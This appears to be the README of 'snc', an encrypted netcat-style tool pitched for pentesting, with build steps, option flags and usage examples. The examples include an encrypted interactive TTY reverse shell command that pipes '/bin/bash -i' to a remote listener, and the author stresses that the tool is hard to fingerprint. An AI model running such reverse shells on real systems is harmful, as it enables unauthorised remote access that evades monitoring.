snc

Something that always bothered me about netcat is the fact that it doesn't implement encryption. Something that always bothered me about cryptcat is the fact that it doesn't implement command execution. Something that always bothered me about SSH and SCP is the fact that they're just too complex for simpler use cases (specially during pentests) and easily fingerprintable.

Motivated by that, this tool aims to combine the best of each in a single place, from simple raw data channels to fully interactive TTY reverse shells. Connections are encrypted with AES-128 by default but another key size can be set in src/include/aes.h. More on snc's inner workings are detailed here for those interested.

Compilation

$ git clone https://github.com/hiatus/snc.git
$ cd snc && make

Usage

snc [options] [host]? [port]
	-h           this
	-v           display connection information
	-n           disable DNS resolution
	-r           set terminal to raw mode during the connection
	-f           fork before connecting
	-e [argv]    execute [argv] and pipe it's IO to the connection socket
	-E [argv]    execute [argv] in a TTY and pipe it's IO to the connection socket
	-d [char]    use [char] as string delimiter for [argv]
	-k [pass]    use the string [pass] as AES key
	-K [file]    use the file [file] as AES key
	-i [file]    read input from [file] instead of stdin
	-o [file]    write output to [file] instead of stdout
	-w [secs]    set a timeout of [secs] seconds for idle connections

	Notes:
		- When [host] is not provided, snc acts as server listening on port [port].
		- Option -d is useful when [argv] has arguments containing spaces.

Examples

Some example use cases.

Raw Data Channel
Server

 user@server:~$ snc -vK key.bin 12345
 [snc] Listening on port 12345
 [snc] Connection from 192.168.0.3:41184
 Hello, server.
 Hello, client.
 Farewell, client.
 user@server:snc$

Client

 user@client:~$ snc -K key.bin 192.168.0.2 12345
 Hello, server.
 Hello, client.
 Farewell, client.
 user@client:~$

File Transfer
Server

 user@server:~$ snc -vk password -i message.txt 12345
 [snc] Listening on port 12345
 [snc] Connection from 192.168.0.3:53130
 user@server:~$

Client

 user@client:~$ snc -k password 192.168.0.2 12345
 Message content.
 user@client:~$

Command Output Transfer
Server

 user@server:~$ snc -vk password -e '/bin/echo Hello' 12345
 [snc] Listening on port 12345
 [snc] Connection from 192.168.0.3:37480
 user@server:~$

Client

 user@client:~$ snc -k password 192.168.0.2 12345
 Hello
 user@client:~$

TTY Reverse Shell
Server

 user@server:~$ snc -rk password 12345
 user@client:~$ whoami
 user
 user@client:~$ exit
 exit
 user@server:~$

Client

 user@client:~$ snc -vk password -E '/bin/bash -i' 192.168.0.2 12345
 [snc] Connecting to 192.168.0.2:12345
 [snc] Connected
 user@client:~$